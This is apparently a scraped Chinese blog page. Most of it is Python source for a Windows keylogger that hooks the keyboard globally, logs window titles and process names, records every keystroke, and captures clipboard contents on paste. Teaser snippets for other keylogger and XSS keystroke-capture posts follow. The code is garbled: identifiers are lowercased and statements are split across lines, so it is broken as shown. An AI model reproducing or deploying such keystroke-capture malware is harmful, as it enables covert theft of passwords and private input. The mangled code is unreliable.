# -*- coding: utf-8 -*-
from ctypes import *
import pythoncom
import pyhook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = none
# def
get_current_process
():# 獲取最上層的視窗控制代碼
hwnd = user32.getforegroundwindow()
# 獲取程序id
pid = c_ulong(0)
user32.getwindowthreadprocessid(hwnd,byref(pid))
# 將程序id存入變數中
process_id = "%d" % pid.value
# 申請記憶體
executable = create_string_buffer("\x00"*512)
h_process = kernel32.openprocess(0x400 | 0x10,false,pid)
psapi.getmodulebasenamea(h_process,none,byref(executable),512)
# 讀取視窗標題
windows_title = create_string_buffer("\x00"*512)
length = user32.getwindowtexta(hwnd,byref(windows_title),512)
# 列印
print
print
"[ pid:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
print
# 關閉handles
kernel32.closehandle(hwnd)
kernel32.closehandle(h_process)
# 定義擊鍵監聽事件函式
defkeystroke
(event):
global current_window
# 檢測目標視窗是否轉移(換了其他視窗就監聽新的視窗)
if event.windowname != current_window:
current_window = event.windowname
# 函式呼叫
get_current_process()
# 檢測擊鍵是否常規按鍵(非組合鍵等)
if event.ascii > 32
and event.ascii <127:
print chr(event.ascii),
else:
# 如果發現ctrl+v(貼上)事件,就把貼上板內容記錄下來
if event.key == "v":
win32clipboard.openclipboard()
pasted_value = win32clipboard.getclipboarddata()
win32clipboard.closeclipboard()
print
"[paste]-%s" % (pasted_value),
else:
print
"[%s]" % event.key,
# 迴圈監聽下乙個擊鍵事件
return
true
# 建立並註冊hook管理器
kl = pyhook.hookmanager()
kl.keydown = keystroke
# 註冊hook並執行
kl.hookkeyboard()
pythoncom.pumpmessages()
C Hook 鍵盤記錄器
之前寫外掛程式做過指定程序的 hook,但是沒有嘗試過全域性 hook,所以今天就來試試。全域性 hook 的用途我第乙個就想到了鍵盤記錄器 貌似我也就想到了這個 哈哈 那就寫乙個吧。先上效果圖 沒圖沒真相,我看別人的部落格都喜歡上來先看圖,木哈哈 u u 其實也不多,就是 switch case ...
利用XSS漏洞實現鍵盤記錄器
本實驗以反射性的xss漏洞為例 實驗環境 dvwa靶機 ip 192.168.135.140 kali linux ip 192.168.135.138 1.首先開啟在kail上開啟apache服務 etc init.d apache2 start在firefox位址列輸入 或者 http loca...
C 黑客程式設計 鍵盤記錄器,HOOK技術實現
有一種技術被稱為hook,人們習慣上叫做鉤子。鉤子技術的應用範圍比較廣 輸入監控,api攔截,訊息捕獲等等。今天我們來做的是鍵盤記錄器 編譯工具 visual studio 2019 程式語言 自然是c python做的我會寫個標題 c 嗎?程式設計技術 hook 另外我說一下 hook技術分為好幾...